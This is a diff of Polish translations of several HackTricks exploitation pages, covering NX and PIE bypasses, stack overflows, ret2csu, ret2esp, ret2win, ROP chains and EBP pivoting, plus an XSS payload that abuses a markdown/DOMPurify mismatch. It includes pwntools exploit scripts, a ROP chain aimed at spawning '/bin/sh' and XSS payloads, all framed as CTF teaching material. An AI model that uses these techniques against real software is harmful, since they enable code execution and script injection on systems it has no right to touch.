### HTML Sanitiser Markdown Bypass
Następujący kod **sanitizuje dane wejściowe HTML** i następnie **przekazuje je do parsera markdown**, a następnie XSS może być wywołane poprzez nadużywanie błędnych interpretacji między Markdown a DOMPurify&#x20;
Następujący kod **sanitizuje dane wejściowe HTML** i następnie **przekazuje je do parsera markdown**, a następnie XSS może być wywołane poprzez nadużycie błędnych interpretacji między Markdown a DOMPurify&#x20;
```html
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
@ -61,7 +61,7 @@ Przykład ładunków:
<div
id="1
![](contenteditable/autofocus/onfocus=confirm('qwq')//)">
![](contenteditable/autofocus/onfocus=confirm('qwq')//index.html)">
-----------------------------------------------
<a
title="a

View File

@ -8,8 +8,8 @@ Bit **No-Execute (NX)**, znany również jako **Execute Disable (XD)** w termino
## Obejścia
- Możliwe jest użycie technik takich jak [**ROP**](../stack-overflow/rop-return-oriented-programing.md), aby obejść tę ochronę, wykonując fragmenty kodu wykonywalnego już obecnego w binarnym.
- [**Ret2libc**](../stack-overflow/ret2lib/)
- Możliwe jest użycie technik takich jak [**ROP**](../stack-overflow/rop-return-oriented-programing.md) do obejścia tej ochrony poprzez wykonanie fragmentów kodu wykonywalnego już obecnego w binarnym.
- [**Ret2libc**](../stack-overflow/ret2lib/index.html)
- [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
- **Ret2...**

View File

@ -4,11 +4,11 @@
## Podstawowe informacje
Plik binarny skompilowany jako PIE, czyli **Position Independent Executable**, oznacza, że **program może być ładowany w różnych lokalizacjach pamięci** za każdym razem, gdy jest uruchamiany, co zapobiega używaniu twardo zakodowanych adresów.
Plik binarny skompilowany jako PIE, czyli **Program niezależny od pozycji**, oznacza, że **program może być ładowany w różnych lokalizacjach pamięci** za każdym razem, gdy jest uruchamiany, co zapobiega używaniu zakodowanych adresów.
Sztuczka do wykorzystania tych binariów polega na wykorzystaniu **adresów względnych**—offsety między częściami programu pozostają takie same, nawet jeśli lokalizacje absolutne się zmieniają. Aby **obejść PIE, wystarczy wyciek jednego adresu**, zazwyczaj z **stosu** przy użyciu luk, takich jak ataki na format string. Gdy masz adres, możesz obliczyć inne na podstawie ich **stałych offsetów**.
Sztuczka w eksploatacji tych binariów polega na wykorzystaniu **adresów względnych**—offsety między częściami programu pozostają takie same, nawet jeśli lokalizacje bezwzględne się zmieniają. Aby **obejść PIE, wystarczy wyciek jednego adresu**, zazwyczaj z **stosu** przy użyciu luk, takich jak ataki formatu ciągu. Gdy masz adres, możesz obliczyć inne na podstawie ich **stałych offsetów**.
Pomocna wskazówka przy wykorzystywaniu binariów PIE to to, że ich **adres bazowy zazwyczaj kończy się na 000** z powodu stron pamięci, które są jednostkami randomizacji, o rozmiarze 0x1000 bajtów. To wyrównanie może być krytycznym **sprawdzianem, jeśli exploit nie działa** zgodnie z oczekiwaniami, wskazując, czy poprawny adres bazowy został zidentyfikowany.\
Pomocna wskazówka przy eksploatacji binariów PIE to to, że ich **adres bazowy zazwyczaj kończy się na 000** z powodu stron pamięci, które są jednostkami losowości, o rozmiarze 0x1000 bajtów. To wyrównanie może być krytycznym **sprawdzianem, jeśli exploit nie działa** zgodnie z oczekiwaniami, wskazując, czy poprawny adres bazowy został zidentyfikowany.\
Lub możesz to wykorzystać w swoim exploicie, jeśli wycieknie, że adres znajduje się pod **`0x649e1024`**, wiesz, że **adres bazowy to `0x649e1000`** i stąd możesz po prostu **obliczyć offsety** funkcji i lokalizacji.
## Obejścia
@ -23,7 +23,7 @@ Aby obejść PIE, konieczne jest **wycieknięcie jakiegoś adresu załadowanego*
bypassing-canary-and-pie.md
{{#endref}}
- Użyć luki w odczycie arbitralnym, takiej jak [**format string**](../../format-strings/), aby wyciekować adres binarnego (np. ze stosu, jak w poprzedniej technice), aby uzyskać bazę binarnego i użyć offsetów stamtąd. [**Znajdź przykład tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
- Użyć luki w odczycie arbitralnym, takiej jak [**format string**](../../format-strings/index.html), aby wyciekować adres binarnego (np. ze stosu, jak w poprzedniej technice), aby uzyskać bazę binarnego i użyć offsetów stamtąd. [**Znajdź przykład tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## Odniesienia

View File

@ -2,14 +2,14 @@
{{#include ../../../banners/hacktricks-training.md}}
## Czym jest Stack Overflow
## Co to jest Stack Overflow
**Stack overflow** to luka, która występuje, gdy program zapisuje więcej danych na stosie, niż jest w stanie pomieścić. Te nadmiarowe dane **nadpiszą sąsiednią przestrzeń pamięci**, prowadząc do uszkodzenia ważnych danych, zakłócenia przepływu sterowania i potencjalnie do wykonania złośliwego kodu. Problem ten często pojawia się z powodu użycia niebezpiecznych funkcji, które nie wykonują sprawdzania granic na wejściu.
A **stack overflow** to luka, która występuje, gdy program zapisuje więcej danych na stosie, niż jest przydzielone do przechowywania. Te nadmiarowe dane **nadpiszą sąsiednią przestrzeń pamięci**, prowadząc do uszkodzenia ważnych danych, zakłócenia przepływu sterowania i potencjalnie do wykonania złośliwego kodu. Problem ten często pojawia się z powodu użycia niebezpiecznych funkcji, które nie wykonują sprawdzania granic na wejściu.
Głównym problemem tego nadpisania jest to, że **zapisany wskaźnik instrukcji (EIP/RIP)** oraz **zapisany wskaźnik bazowy (EBP/RBP)** do powrotu do poprzedniej funkcji są **przechowywane na stosie**. Dlatego atakujący będzie w stanie je nadpisać i **kontrolować przepływ wykonania programu**.
Luka ta zazwyczaj pojawia się, ponieważ funkcja **kopiuje na stos więcej bajtów niż ilość przydzielona dla niej**, co pozwala na nadpisanie innych części stosu.\
Niektóre powszechne funkcje podatne na to to: `strcpy`, `strcat`, `sprintf`, `gets`... Również funkcje takie jak `fgets` lub `read`, które przyjmują argument długości, mogą być używane w sposób podatny, jeśli określona długość jest większa niż przydzielona.
Luka ta zazwyczaj pojawia się, ponieważ funkcja **kopiuje na stos więcej bajtów niż przydzielona ilość**, co pozwala na nadpisanie innych części stosu.\
Niektóre powszechne funkcje podatne na to to: `strcpy`, `strcat`, `sprintf`, `gets`... Ponadto funkcje takie jak `fgets` lub `read`, które przyjmują argument długości, mogą być używane w sposób podatny, jeśli określona długość jest większa niż przydzielona.
Na przykład, następujące funkcje mogą być podatne:
```c
@ -22,9 +22,9 @@ printf("You entered: %s\n", buffer);
```
### Znajdowanie przepełnień stosu
Najczęstszym sposobem na znalezienie przepełnień stosu jest podanie bardzo dużego wejścia z `A`s (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie na `Segmentation Fault`, co wskazuje, że **adres `0x41414141` próbował być dostępny**.
Najczęstszym sposobem na znalezienie przepełnień stosu jest podanie bardzo dużego wejścia z `A` (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie na `Segmentation Fault`, co wskazuje, że **adres `0x41414141` próbował być dostępny**.
Ponadto, gdy już znajdziesz, że istnieje luka w przepełnieniu stosu, będziesz musiał znaleźć offset, aż będzie możliwe **nadpisanie adresu powrotu**, do tego zazwyczaj używa się **sekwencji De Bruijn.** Która dla danego alfabetu o rozmiarze _k_ i podsekwencjach o długości _n_ jest **cykliczną sekwencją, w której każda możliwa podsekwencja o długości **_**n**_** pojawia się dokładnie raz** jako kontiguująca podsekwencja.
Ponadto, gdy już znajdziesz, że istnieje luka w przepełnieniu stosu, będziesz musiał znaleźć offset, aż będzie możliwe **nadpisanie adresu powrotu**. W tym celu zazwyczaj używa się **sekwencji De Bruijn.** Dla danego alfabetu o rozmiarze _k_ i podsekwencji o długości _n_ jest to **cykliczna sekwencja, w której każda możliwa podsekwencja o długości **_**n**_** pojawia się dokładnie raz** jako ciągła podsekwencja.
W ten sposób, zamiast ręcznie ustalać, jaki offset jest potrzebny do kontrolowania EIP, można użyć jako wypełnienia jednej z tych sekwencji, a następnie znaleźć offset bajtów, które zakończyły nadpisywanie.
@ -52,11 +52,11 @@ pattern search $rsp #Search the offset given the content of $rsp
Podczas przepełnienia (zakładając, że rozmiar przepełnienia jest wystarczająco duży) będziesz w stanie nadpisać wartości lokalnych zmiennych w stosie, aż do osiągnięcia zapisanych EBP/RBP i EIP/RIP (lub nawet więcej).\
Najczęstszym sposobem nadużywania tego typu podatności jest **modyfikacja adresu powrotu**, aby po zakończeniu funkcji **przepływ kontroli został przekierowany tam, gdzie użytkownik wskazał** w tym wskaźniku.
Jednak w innych scenariuszach może wystarczyć po prostu **nadpisanie niektórych wartości zmiennych w stosie** do wykorzystania (jak w łatwych wyzwaniach CTF).
Jednak w innych scenariuszach może być wystarczające **nadpisanie niektórych wartości zmiennych w stosie** do wykorzystania (jak w łatwych wyzwaniach CTF).
### Ret2win
W tego typu wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binarnego pliku, która **nigdy nie jest wywoływana** i którą **musisz wywołać, aby wygrać**. W tych wyzwaniach musisz tylko znaleźć **offset do nadpisania adresu powrotu** i **znaleźć adres funkcji**, którą chcesz wywołać (zwykle [**ASLR**](../common-binary-protections-and-bypasses/aslr/) będzie wyłączony), aby po powrocie z funkcji podatnej, ukryta funkcja została wywołana:
W tego typu wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binarnego pliku, która **nigdy nie jest wywoływana** i którą **musisz wywołać, aby wygrać**. W tych wyzwaniach musisz tylko znaleźć **offset do nadpisania adresu powrotu** i **znaleźć adres funkcji**, którą chcesz wywołać (zwykle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) będzie wyłączony), aby po powrocie z funkcji podatnej, ukryta funkcja została wywołana:
{{#ref}}
ret2win.md
@ -80,7 +80,7 @@ rop-return-oriented-programing.md
## Typy ochrony
Istnieje kilka ochron, które próbują zapobiec wykorzystaniu podatności, sprawdź je w:
Istnieje kilka zabezpieczeń próbujących zapobiec wykorzystaniu podatności, sprawdź je w:
{{#ref}}
../common-binary-protections-and-bypasses/

View File

@ -4,13 +4,13 @@
## Podstawowe informacje
**ret2csu** to technika hackingowa używana, gdy próbujesz przejąć kontrolę nad programem, ale nie możesz znaleźć **gadżetów**, których zwykle używasz do manipulowania zachowaniem programu.&#x20;
**ret2csu** to technika hackingowa używana, gdy próbujesz przejąć kontrolę nad programem, ale nie możesz znaleźć **gadgets**, których zwykle używasz do manipulowania zachowaniem programu.&#x20;
Gdy program korzysta z określonych bibliotek (takich jak libc), ma wbudowane funkcje do zarządzania tym, jak różne części programu komunikują się ze sobą. Wśród tych funkcji znajdują się ukryte skarby, które mogą działać jako nasze brakujące gadżety, szczególnie jeden zwany `__libc_csu_init`.
Gdy program korzysta z określonych bibliotek (takich jak libc), ma wbudowane funkcje do zarządzania tym, jak różne części programu komunikują się ze sobą. Wśród tych funkcji znajdują się ukryte skarby, które mogą działać jako nasze brakujące gadgets, szczególnie jedna o nazwie `__libc_csu_init`.
### Magiczne gadżety w \_\_libc_csu_init
### Magiczne gadgets w \_\_libc_csu_init
W `__libc_csu_init` znajdują się dwie sekwencje instrukcji (nasze "magiczne gadżety"), które wyróżniają się:
W `__libc_csu_init` znajdują się dwie sekwencje instrukcji (nasze "magiczne gadgets"), które wyróżniają się:
1. Pierwsza sekwencja pozwala nam ustawić wartości w kilku rejestrach (rbx, rbp, r12, r13, r14, r15). To jak sloty, w których możemy przechowywać liczby lub adresy, które chcemy użyć później.
```armasm
@ -24,7 +24,7 @@ ret;
```
To urządzenie pozwala nam kontrolować te rejestry, wypychając wartości ze stosu do nich.
2. Druga sekwencja wykorzystuje wartości, które ustawiliśmy, aby zrobić kilka rzeczy:
2. Druga sekwencja wykorzystuje wartości, które ustawiliśmy, aby wykonać kilka rzeczy:
- **Przenieść konkretne wartości do innych rejestrów**, przygotowując je do użycia jako parametry w funkcjach.
- **Wykonać wywołanie do lokalizacji** określonej przez dodanie wartości w r15 i rbx, a następnie pomnożenie rbx przez 8.
```
@ -40,9 +40,9 @@ Wyobraź sobie, że chcesz wykonać syscall lub wywołać funkcję taką jak `wr
Tutaj wchodzi w grę **ret2csu**:
1. **Ustaw rejestry**: Użyj pierwszego magicznego gadżetu, aby zrzucić wartości ze stosu do rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) i r15.
2. **Użyj drugiego gadżetu**: Gdy te rejestry są ustawione, używasz drugiego gadżetu. To pozwala ci przenieść wybrane wartości do `rdx` i `rsi` (z r14 i r13, odpowiednio), przygotowując parametry do wywołania funkcji. Co więcej, kontrolując `r15` i `rbx`, możesz sprawić, że program wywoła funkcję znajdującą się pod adresem, który obliczasz i umieszczasz w `[r15 + rbx*8]`.
2. **Użyj drugiego gadżetu**: Gdy te rejestry są ustawione, używasz drugiego gadżetu. To pozwala ci przenieść wybrane wartości do `rdx` i `rsi` (z r14 i r13, odpowiednio), przygotowując parametry do wywołania funkcji. Co więcej, kontrolując `r15` i `rbx`, możesz sprawić, że program wywoła funkcję znajdującą się pod adresem, który obliczysz i umieścisz w `[r15 + rbx*8]`.
Masz [**przykład użycia tej techniki i wyjaśnienia go tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), a oto ostateczny exploit, który wykorzystano:
Masz [**przykład użycia tej techniki i wyjaśnienia go tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), a oto ostateczny exploit, który został użyty:
```python
from pwn import *
@ -67,10 +67,10 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
> [!WARNING]
> Zauważ, że poprzedni exploit nie ma na celu wykonania **`RCE`**, ma na celu jedynie wywołanie funkcji o nazwie `win` (biorąc adres `win` z stdin wywołując gets w łańcuchu ROP i przechowując go w r15) z trzecim argumentem o wartości `0xdeadbeefcafed00d`.
> Zauważ, że poprzedni exploit nie jest przeznaczony do wykonania **`RCE`**, ma na celu jedynie wywołanie funkcji o nazwie `win` (biorąc adres `win` z stdin wywołując gets w łańcuchu ROP i przechowując go w r15) z trzecim argumentem o wartości `0xdeadbeefcafed00d`.
### Dlaczego nie używać bezpośrednio libc?
### Dlaczego nie po prostu użyć libc bezpośrednio?
Zazwyczaj te przypadki są również podatne na [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), ale czasami musisz kontrolować więcej parametrów, niż można łatwo kontrolować za pomocą gadżetów, które znajdziesz bezpośrednio w libc. Na przykład, funkcja `write()` wymaga trzech parametrów, a **znalezienie gadżetów do ustawienia wszystkich tych parametrów bezpośrednio może być niemożliwe**.
Zazwyczaj te przypadki są również podatne na [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), ale czasami musisz kontrolować więcej parametrów, niż można łatwo kontrolować za pomocą gadżetów, które znajdziesz bezpośrednio w libc. Na przykład, funkcja `write()` wymaga trzech parametrów, a **znalezienie gadżetów do ustawienia wszystkich tych parametrów bezpośrednio może nie być możliwe**.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -6,13 +6,13 @@
**Ponieważ ESP (wskaźnik stosu) zawsze wskazuje na szczyt stosu**, technika ta polega na zastąpieniu EIP (wskaźnik instrukcji) adresem instrukcji **`jmp esp`** lub **`call esp`**. Dzięki temu shellcode jest umieszczany tuż po nadpisanym EIP. Gdy instrukcja `ret` jest wykonywana, ESP wskazuje na następny adres, dokładnie tam, gdzie przechowywany jest shellcode.
Jeśli **Randomizacja układu przestrzeni adresowej (ASLR)** nie jest włączona w systemie Windows lub Linux, możliwe jest użycie instrukcji `jmp esp` lub `call esp` znajdujących się w bibliotekach współdzielonych. Jednak przy aktywnym [**ASLR**](../common-binary-protections-and-bypasses/aslr/) może być konieczne poszukiwanie tych instrukcji w samym podatnym programie (i może być konieczne pokonanie [**PIE**](../common-binary-protections-and-bypasses/pie/)).
Jeśli **Randomizacja układu przestrzeni adresowej (ASLR)** nie jest włączona w systemie Windows lub Linux, możliwe jest użycie instrukcji `jmp esp` lub `call esp` znajdujących się w bibliotekach współdzielonych. Jednak przy aktywnym [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) może być konieczne poszukiwanie tych instrukcji w samym podatnym programie (i może być konieczne pokonanie [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)).
Ponadto, możliwość umieszczenia shellcode **po uszkodzeniu EIP**, a nie w środku stosu, zapewnia, że jakiekolwiek instrukcje `push` lub `pop` wykonywane podczas działania funkcji nie zakłócają shellcode. Taka interferencja mogłaby wystąpić, gdyby shellcode był umieszczony w środku stosu funkcji.
Ponadto, możliwość umieszczenia shellcode **po uszkodzeniu EIP**, a nie w środku stosu, zapewnia, że jakiekolwiek instrukcje `push` lub `pop` wykonywane podczas działania funkcji nie zakłócają shellcode. Taka interferencja mogłaby wystąpić, gdyby shellcode został umieszczony w środku stosu funkcji.
### Brak miejsca
Jeśli brakuje Ci miejsca na zapisanie po nadpisaniu RIP (może tylko kilka bajtów), napisz początkowy shellcode `jmp` jak:
Jeśli brakuje Ci miejsca na zapisanie po nadpisaniu RIP (może tylko kilka bajtów), napisz początkowy shellcode `jmp`, taki jak:
```armasm
sub rsp, 0x30
jmp rsp
@ -43,7 +43,7 @@ p.interactive()
```
## Ret2reg
Podobnie, jeśli znamy funkcję, która zwraca adres, w którym przechowywane jest shellcode, możemy wykorzystać instrukcje **`call eax`** lub **`jmp eax`** (znane jako technika **ret2eax**), oferując inny sposób na wykonanie naszego shellcode. Tak jak eax, **dowolny inny rejestr** zawierający interesujący adres może być użyty (**ret2reg**).
Podobnie, jeśli znamy funkcję, która zwraca adres, w którym przechowywany jest shellcode, możemy wykorzystać instrukcje **`call eax`** lub **`jmp eax`** (znane jako technika **ret2eax**), oferując inny sposób na wykonanie naszego shellcode. Tak jak eax, **dowolny inny rejestr** zawierający interesujący adres może być użyty (**ret2reg**).
### Przykład
@ -51,8 +51,8 @@ Możesz znaleźć przykład tutaj: [https://ir0nstone.gitbook.io/notes/types/sta
## Ochrony
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Jeśli stos nie jest wykonywalny, to nie pomoże, ponieważ musimy umieścić shellcode w stosie i skoczyć, aby go wykonać.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Te mogą utrudnić znalezienie instrukcji do skoku do esp lub innego rejestru.
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Jeśli stos nie jest wykonywalny, to nie pomoże, ponieważ musimy umieścić shellcode na stosie i skoczyć, aby go wykonać.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Mogą utrudnić znalezienie instrukcji do skoku do esp lub innego rejestru.
## Odniesienia

View File

@ -6,7 +6,7 @@
**Ret2win** to popularna kategoria w zawodach **Capture The Flag (CTF)**, szczególnie w zadaniach związanych z **eksploatacją binarną**. Celem jest wykorzystanie luki w danym pliku binarnym, aby wywołać określoną, niewywołaną funkcję w tym pliku, często nazwaną coś w stylu `win`, `flag` itp. Ta funkcja, po wywołaniu, zazwyczaj wypisuje flagę lub komunikat o sukcesie. Wyzwanie zazwyczaj polega na nadpisaniu **adresu powrotu** na stosie, aby przekierować przepływ wykonania do pożądanej funkcji. Oto bardziej szczegółowe wyjaśnienie z przykładami:
### Przykład C
### Przykład w C
Rozważmy prosty program w C z luką i funkcją `win`, którą zamierzamy wywołać:
```c
@ -39,7 +39,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
### Python Exploit using Pwntools
Do exploitacji użyjemy **pwntools**, potężnego frameworka CTF do pisania exploitów. Skrypt exploitowy stworzy ładunek, aby przepełnić bufor i nadpisać adres powrotu adresem funkcji `win`.
Dla exploita użyjemy **pwntools**, potężnego frameworka CTF do pisania exploitów. Skrypt exploita stworzy ładunek, aby przepełnić bufor i nadpisać adres powrotu adresem funkcji `win`.
```python
from pwn import *
@ -63,14 +63,14 @@ Aby znaleźć adres funkcji `win`, możesz użyć **gdb**, **objdump** lub inneg
```sh
objdump -d vulnerable | grep win
```
To polecenie pokaże Ci asembler funkcji `win`, w tym jej adres początkowy.&#x20;
To polecenie pokaże Ci kod asemblera funkcji `win`, w tym jej adres początkowy.&#x20;
Skrypt Pythona wysyła starannie skonstruowaną wiadomość, która, gdy jest przetwarzana przez `vulnerable_function`, przepełnia bufor i nadpisuje adres powrotu na stosie adresem `win`. Gdy `vulnerable_function` zwraca, zamiast wracać do `main` lub kończyć, skacze do `win`, a wiadomość jest drukowana.
Skrypt Pythona wysyła starannie skonstruowaną wiadomość, która, gdy jest przetwarzana przez `vulnerable_function`, przepełnia bufor i nadpisuje adres powrotu na stosie adresem `win`. Gdy `vulnerable_function` zwraca, zamiast wracać do `main` lub kończyć działanie, skacze do `win`, a wiadomość jest drukowana.
## Ochrony
- [**PIE**](../common-binary-protections-and-bypasses/pie/) **powinno być wyłączone**, aby adres był wiarygodny w różnych wykonaniach, w przeciwnym razie adres, w którym funkcja będzie przechowywana, nie zawsze będzie taki sam i potrzebowałbyś jakiegoś wycieku, aby dowiedzieć się, gdzie załadowana jest funkcja win. W niektórych przypadkach, gdy funkcją powodującą przepełnienie jest `read` lub podobna, możesz wykonać **Częściowe Nadpisanie** 1 lub 2 bajtów, aby zmienić adres powrotu na funkcję win. Z powodu działania ASLR, ostatnie trzy heksadecymalne nibble nie są losowe, więc istnieje **1/16 szansy** (1 nibble), aby uzyskać poprawny adres powrotu.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) powinny być również wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nigdy nie będzie śledzony.
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **powinno być wyłączone**, aby adres był wiarygodny w różnych wykonaniach, w przeciwnym razie adres, pod którym funkcja będzie przechowywana, nie zawsze będzie taki sam i będziesz potrzebować jakiegoś wycieku, aby dowiedzieć się, gdzie załadowana jest funkcja win. W niektórych przypadkach, gdy funkcją powodującą przepełnienie jest `read` lub podobna, możesz wykonać **Częściowe Nadpisanie** 1 lub 2 bajtów, aby zmienić adres powrotu na funkcję win. Z powodu działania ASLR, ostatnie trzy heksadecymalne nibble nie są losowe, więc istnieje **1/16 szansy** (1 nibble), aby uzyskać poprawny adres powrotu.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) również powinny być wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nigdy nie będzie śledzony.
## Inne przykłady i odniesienia

View File

@ -1,10 +1,10 @@
# ROP - Programowanie Zwracające
# ROP - Programowanie Zorientowane na Zwracanie
{{#include ../../../banners/hacktricks-training.md}}
## **Podstawowe Informacje**
**Programowanie Zwracające (ROP)** to zaawansowana technika eksploatacji używana do obejścia zabezpieczeń takich jak **No-Execute (NX)** lub **Data Execution Prevention (DEP)**. Zamiast wstrzykiwać i wykonywać shellcode, atakujący wykorzystuje fragmenty kodu już obecne w binarnym pliku lub załadowanych bibliotekach, znane jako **"gadżety"**. Każdy gadżet zazwyczaj kończy się instrukcją `ret` i wykonuje małą operację, taką jak przenoszenie danych między rejestrami lub wykonywanie operacji arytmetycznych. Łącząc te gadżety, atakujący może skonstruować ładunek do wykonywania dowolnych operacji, skutecznie omijając zabezpieczenia NX/DEP.
**Programowanie Zorientowane na Zwracanie (ROP)** to zaawansowana technika eksploatacji używana do obejścia zabezpieczeń takich jak **No-Execute (NX)** lub **Data Execution Prevention (DEP)**. Zamiast wstrzykiwać i wykonywać shellcode, atakujący wykorzystuje fragmenty kodu już obecne w binarnym pliku lub załadowanych bibliotekach, znane jako **"gadżety"**. Każdy gadżet zazwyczaj kończy się instrukcją `ret` i wykonuje małą operację, taką jak przenoszenie danych między rejestrami lub wykonywanie operacji arytmetycznych. Łącząc te gadżety, atakujący może skonstruować ładunek do wykonywania dowolnych operacji, skutecznie omijając zabezpieczenia NX/DEP.
### Jak działa ROP
@ -18,18 +18,18 @@ Zazwyczaj gadżety można znaleźć za pomocą **[ROPgadget](https://github.com/
## Przykład Łańcucha ROP w x86
### **x86 (32-bit) Konwencje wywołań**
### **x86 (32-bit) Konwencje Wywołań**
- **cdecl**: Wywołujący czyści stos. Argumenty funkcji są umieszczane na stosie w odwrotnej kolejności (od prawej do lewej). **Argumenty są umieszczane na stosie od prawej do lewej.**
- **stdcall**: Podobnie jak cdecl, ale wywoływana funkcja jest odpowiedzialna za czyszczenie stosu.
- **stdcall**: Podobnie jak cdecl, ale to wywoływana funkcja jest odpowiedzialna za czyszczenie stosu.
### **Znajdowanie Gadżetów**
Najpierw załóżmy, że zidentyfikowaliśmy niezbędne gadżety w binarnym pliku lub jego załadowanych bibliotekach. Gadżety, którymi jesteśmy zainteresowani, to:
- `pop eax; ret`: Ten gadżet przenosi górną wartość stosu do rejestru `EAX` i następnie zwraca, co pozwala nam kontrolować `EAX`.
- `pop eax; ret`: Ten gadżet przenosi górną wartość stosu do rejestru `EAX`, a następnie zwraca, co pozwala nam kontrolować `EAX`.
- `pop ebx; ret`: Podobnie jak powyżej, ale dla rejestru `EBX`, umożliwiając kontrolę nad `EBX`.
- `mov [ebx], eax; ret`: Przenosi wartość w `EAX` do lokalizacji pamięci wskazywanej przez `EBX` i następnie zwraca. Często nazywane jest to **gadżetem write-what-where**.
- `mov [ebx], eax; ret`: Przenosi wartość w `EAX` do lokalizacji pamięci wskazywanej przez `EBX`, a następnie zwraca. Często nazywane jest to **gadżetem write-what-where**.
- Dodatkowo mamy dostępny adres funkcji `system()`.
### **Łańcuch ROP**
@ -37,7 +37,7 @@ Najpierw załóżmy, że zidentyfikowaliśmy niezbędne gadżety w binarnym plik
Używając **pwntools**, przygotowujemy stos do wykonania łańcucha ROP w następujący sposób, mając na celu wykonanie `system('/bin/sh')`, zwróć uwagę, jak łańcuch zaczyna się od:
1. Instrukcji `ret` dla celów wyrównania (opcjonalne)
2. Adresu funkcji `system` (zakładając, że ASLR jest wyłączone i znana jest libc, więcej informacji w [**Ret2lib**](ret2lib/))
2. Adresu funkcji `system` (zakładając, że ASLR jest wyłączone i znana jest libc, więcej informacji w [**Ret2lib**](ret2lib/index.html))
3. Miejsca na adres powrotu z `system()`
4. Adresu ciągu `"/bin/sh"` (parametr dla funkcji system)
```python
@ -140,14 +140,14 @@ W tym przykładzie:
## Główna różnica między x86 a x64
> [!TIP]
> Ponieważ x64 używa rejestrów do pierwszych kilku argumentów, często wymaga mniej gadżetów niż x86 do prostych wywołań funkcji, ale znalezienie i połączenie odpowiednich gadżetów może być bardziej skomplikowane z powodu zwiększonej liczby rejestrów i większej przestrzeni adresowej. Zwiększona liczba rejestrów i większa przestrzeń adresowa w architekturze **x64** stwarzają zarówno możliwości, jak i wyzwania dla rozwoju exploitów, szczególnie w kontekście Programowania Opartego na Zwracaniu (ROP).
> Ponieważ x64 używa rejestrów do pierwszych kilku argumentów, często wymaga mniej gadżetów niż x86 do prostych wywołań funkcji, ale znalezienie i połączenie odpowiednich gadżetów może być bardziej skomplikowane z powodu zwiększonej liczby rejestrów i większej przestrzeni adresowej. Zwiększona liczba rejestrów i większa przestrzeń adresowa w architekturze **x64** stwarzają zarówno możliwości, jak i wyzwania dla rozwoju exploitów, szczególnie w kontekście programowania opartego na zwrotach (ROP).
## Ochrony
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/)
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html)
## Inne Przykłady i Odniesienia
## Inne przykłady i odniesienia
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
@ -161,13 +161,13 @@ Zauważ, że ROP to tylko technika mająca na celu wykonanie dowolnego kodu. Na
ret2lib/
{{#endref}}
- **Ret2Syscall**: Użyj ROP, aby przygotować wywołanie do syscall, np. `execve`, i sprawić, aby wykonało dowolne polecenia.
- **Ret2Syscall**: Użyj ROP, aby przygotować wywołanie do syscall, np. `execve`, i sprawić, aby wykonywało dowolne polecenia.
{{#ref}}
rop-syscall-execv.md
{{#endref}}
- **EBP2Ret & EBP Chaining**: Pierwsza będzie nadużywać EBP zamiast EIP, aby kontrolować przepływ, a druga jest podobna do Ret2lib, ale w tym przypadku przepływ jest kontrolowany głównie za pomocą adresów EBP (chociaż również potrzebne jest kontrolowanie EIP).
- **EBP2Ret & EBP Chaining**: Pierwsza technika wykorzysta EBP zamiast EIP do kontrolowania przepływu, a druga jest podobna do Ret2lib, ale w tym przypadku przepływ jest kontrolowany głównie za pomocą adresów EBP (chociaż również potrzebne jest kontrolowanie EIP).
{{#ref}}
stack-pivoting-ebp2ret-ebp-chaining.md

View File

@ -2,35 +2,35 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Podstawowe informacje
Ta technika wykorzystuje możliwość manipulacji **Wskaźnikiem Bazowym (EBP)** do łączenia wykonania wielu funkcji poprzez staranne użycie rejestru EBP oraz sekwencji instrukcji `leave; ret`.
Ta technika wykorzystuje możliwość manipulacji **wskaźnikiem bazowym (EBP)** do łączenia wykonania wielu funkcji poprzez staranne użycie rejestru EBP oraz sekwencji instrukcji `leave; ret`.
Przypomnienie, **`leave`** zasadniczo oznacza:
Przypominając, **`leave`** zasadniczo oznacza:
```
mov esp, ebp
pop ebp
ret
```
I jako że **EBP znajduje się na stosie** przed EIP, możliwe jest jego kontrolowanie poprzez kontrolowanie stosu.
I jako że **EBP jest w stosie** przed EIP, możliwe jest jego kontrolowanie poprzez kontrolowanie stosu.
